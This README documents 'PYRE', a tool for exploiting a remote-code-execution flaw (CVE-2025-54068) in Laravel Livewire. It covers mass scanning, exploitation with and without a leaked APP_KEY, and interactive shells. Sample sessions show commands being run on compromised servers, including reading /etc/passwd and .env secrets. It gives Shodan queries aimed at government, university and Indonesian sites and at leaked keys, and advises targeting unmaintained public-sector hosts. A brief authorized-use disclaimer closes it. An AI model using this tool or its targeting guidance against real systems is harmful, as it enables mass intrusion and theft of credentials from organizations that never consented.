βββββββ βββ ββββββββββ ββββββββ
ββββββββββββ ββββββββββββββββββββ
ββββββββ βββββββ ββββββββββββββ
βββββββ βββββ ββββββββββββββ
βββ βββ βββ βββββββββββ
βββ βββ βββ βββββββββββ
Livewire RCE Exploit Framework
CVE-2025-54068 | Bob Marley Labs
Based on Livepyre by Synacktiv
PYRE is a comprehensive exploitation framework for Laravel Livewire Remote Code Execution vulnerability (CVE-2025-54068). This tool provides automated scanning, exploitation, and interactive shell capabilities for both authenticated (WITH APP_KEY) and unauthenticated (WITHOUT APP_KEY) attacks.
- β Automated Livewire Scanner - Multi-threaded scanning with snapshot & CSRF detection
- β WITHOUT APP_KEY Exploitation - Exploit vulnerable Livewire installations without credentials
- β WITH APP_KEY Exploitation - Use leaked APP_KEY for higher success rates (60-80%)
- β Interactive Shells - Full interactive shell access on compromised targets
- β Auto-Function Detection - Automatically tries system, passthru, exec, shell_exec
- β Mass Exploitation - Process thousands of targets from a file
- β Real-time Saving - Results saved immediately with auto-flush
- β Clean Output - Organized results in timestamped folders
Vulnerability: Laravel Livewire Insecure Deserialization RCE
Affected Versions: Livewire < 3.6.4
CVSS Score: 9.8 (Critical)
Attack Vector: Network
Authentication: None (for WITHOUT APP_KEY method)
- Livewire v2.x (All versions)
- Livewire v3.0.0 - v3.6.3
- Livewire >= v3.6.4
Python 3.7+pip install requests urllib3Laravel RCE/
βββ main.py # Main exploitation framework
βββ exploit/
β βββ payload.json # RCE gadget chain payload
βββ grabs.py # Shodan mass grabber (optional)
βββ list.txt # Your target list
python main.py[1] Scan targets for Livewire
ββ Multi-threaded scanner for Livewire detection
ββ Identifies snapshots, CSRF tokens, and versions
ββ Output: Clean URL list (one per line)
[2] Exploit WITHOUT APP_KEY
ββ [1] Single target
ββ [2] Mass targets
ββ Auto-tries: system β passthru β exec β shell_exec
[3] Exploit WITH APP_KEY
ββ [1] Single target
ββ [2] Mass targets
ββ Requires: base64:xxxxx... APP_KEY
[4] Single Interactive Shell (No Key)
ββ Auto-detects working PHP function
ββ Persistent shell session
[5] Single Interactive Shell (With Key)
ββ Auto-detects working PHP function
ββ Persistent shell session
[0] Exit
Scan a list of domains:
python main.py
[1] Scan targets for Livewire
Target list: list.txt
Threads: 20
# Output:
[VULN] [SNAP+CSRF] http://example.com
[VULN] [SNAP+CSRF] http://target.com
[SKIP] [NO-SNAP] [CSRF] http://notgood.com
Results saved: Pyre_Results_20260601_024759/Livewire_Vulnerable.txtOutput Format:
http://example.com
http://target.com
http://another.com
One URL per line, ready for mass exploitation!
python main.py
[2] Exploit WITHOUT APP_KEY
[1] Single target
Target URL: http://example.com
Command: id
# Will auto-try all functions:
[TRYING] Function: system
[TRYING] Function: passthru
[SUCCESS] Got response
uid=33(www-data) gid=33(www-data) groups=33(www-data)python main.py
[2] Exploit WITHOUT APP_KEY
[2] Mass targets
Target list: Pyre_Results_20260601_024759/Livewire_Vulnerable.txt
Command: whoami
[1/50] http://example.com
[SUCCESS] Function: passthru | www-data
[2/50] http://target2.com
[FAILED] All functions failed
Results saved: Pyre_Results_20260601_030145/Livewire_RCE_NoKey.txtWhere to find APP_KEY:
- Laravel error pages (Whoops!)
.envfile leaks- GitHub repositories
- Backup files
- Debug pages
python main.py
[3] Exploit WITH APP_KEY
[1] Single target
Target URL: http://example.com
APP_KEY: base64:tXSJQzDRRjKGMBRRvQliAb1Dr2X+ogaqSIz7R2RBls8=
Command: id
[TRYING] Function: system
[SUCCESS] RCE SUCCESSFUL WITH: system
uid=33(www-data) gid=33(www-data)python main.py
[3] Exploit WITH APP_KEY
[2] Mass targets
Target list: targets.txt
APP_KEY: base64:tXSJQzDRRjKGMBRRvQliAb1Dr2X+ogaqSIz7R2RBls8=
Command: cat /etc/passwd
[1/100] http://site1.com
[SUCCESS] Function: system | root:x:0:0:root:/root:/bin/bash...
Results saved: Pyre_Results_20260601_031234/Livewire_RCE_WithKey.txtpython main.py
[4] Single Interactive Shell (No Key)
Target URL: http://example.com
[*] Auto-detecting working function...
[TRYING] system... OK
[+] Starting interactive shell on http://example.com
[+] Using function: system
Pyre> whoami
www-data
Pyre> pwd
/var/www/html
Pyre> ls -la
total 48
drwxr-xr-x 8 www-data www-data 4096 May 31 02:00 .
drwxr-xr-x 3 root root 4096 May 30 10:15 ..
Pyre> cat .env
APP_NAME=Laravel
APP_ENV=production
APP_KEY=base64:tXSJQzDRRjKGMBRRvQliAb1Dr2X+ogaqSIz7R2RBls8=
...
Pyre> exitpython main.py
[5] Single Interactive Shell (With Key)
Target URL: http://example.com
APP_KEY: base64:tXSJQzDRRjKGMBRRvQliAb1Dr2X+ogaqSIz7R2RBls8=
[*] Auto-detecting working function...
[TRYING] system... OK
[+] Starting interactive shell on http://example.com
[+] APP_KEY: base64:tXSJQzDRRjKGM...
[+] Using function: system
Pyre> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Pyre> uname -a
Linux server 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
Pyre> exitpython grabs.py
# Automatically queries Shodan for Livewire targetsPrimary Query (Most Results):
http.html:"wire:snapshot"
Specific Vulnerable Versions:
http.html:"wire:snapshot" http.html:"csrf-token"
http.html:"wire:snapshot" http.html:"livewire/livewire.js?id=90730a3b0e7144480b20"
http.html:"wire:snapshot" http.html:"Laravel v8"
Country-Specific (Indonesia Example):
http.html:"wire:snapshot" country:ID
http.html:"wire:snapshot" http.html:"laravel_session" country:ID
Educational Sites (Often Outdated):
http.html:"wire:snapshot" hostname:.edu
http.html:"wire:snapshot" hostname:.ac.id
Government Sites:
http.html:"wire:snapshot" hostname:.gov
http.html:"wire:snapshot" hostname:.go.id
Shodan Queries for APP_KEY Leaks:
http.html:"APP_KEY"
http.html:"APP_KEY" http.html:"base64:"
http.title:"Whoops" http.html:"APP_KEY"
http.html:"Laravel" http.html:".env"
| Method | Success Rate | Notes |
|---|---|---|
| WITHOUT APP_KEY | ~0.1-2% | Only works on unpatched Livewire < 3.6.4 |
| WITH APP_KEY | ~60-80% | Much higher success, requires leaked APP_KEY |
| Interactive Shell | Same as above | Depends on initial exploitation method |
- β Most Livewire installations are patched (>= 3.6.4)
- β Gadget chains are version-specific
- β Modern PHP has type checking that breaks old exploits
- β WAF/Security protections
- Scan 1000+ targets to find vulnerable ones
- Focus on WITH APP_KEY when you have keys
- Target older sites (.edu, .gov, unmaintained sites)
- Use Shodan queries to find Livewire v2.x and v3.0-v3.6.3
The tool auto-tries these functions:
system- Most commonpassthru- Binary-safe alternativeexec- Returns last line onlyshell_exec- Returns full output
All results are saved in timestamped folders:
Pyre_Results_20260601_024759/
βββ Livewire_Vulnerable.txt # Scanner results
βββ Livewire_RCE_NoKey.txt # Exploitation results (No Key)
βββ Livewire_RCE_WithKey.txt # Exploitation results (With Key)
First 3-5 targets in mass exploitation show verbose debug output:
[1/100] http://example.com
[+] CSRF: XyZ123AbC456DeF789...
[+] Update URI: livewire/update
[+] Found 2 snapshot(s)
[+] Found 3 parameter(s)
[STAGE1 OK] Snapshot casted to array
[*] Sending payload: system('id')
[DEBUG] Status: 200, Length: 1234
[SUCCESS] Got response
# In main.py, when prompted:
Threads (default 10): 20 # Increase for faster scanning# In main.py line ~144:
self.timeout = 10 # Change to 15 or 20 for slow serversSolution: Target doesn't have Livewire on that specific URL. Try:
- Homepage:
http://example.com/ - Login page:
http://example.com/login - Dashboard:
http://example.com/dashboard
Solution: Server-side protection. Target is likely patched or protected.
Solution: Gadget chain doesn't exist on this Laravel/Livewire version. Try WITH APP_KEY method.
Solution:
- Target is patched (Livewire >= 3.6.4)
- PHP functions are disabled (
disable_functions) - WAF is blocking
Solution: Server is in maintenance mode or output is being replaced. Try different targets.
For authorized penetration testing, bug bounty programs, and educational purposes only. Unauthorized access to computer systems is illegal under:
- Computer Fraud and Abuse Act (CFAA) - USA
- Computer Misuse Act 1990 - UK
- EU Cybersecurity Act
USE AT YOUR OWN RISK. Author assumes NO LIABILITY for misuse.
By using this tool, you confirm you have explicit authorization to test target systems.
Buy me a Coffee:
βΏ BTC: 17sbbeTzDMP4aMELVbLW78Rcsj4CDRBiZh
Β© 2026 khadafigans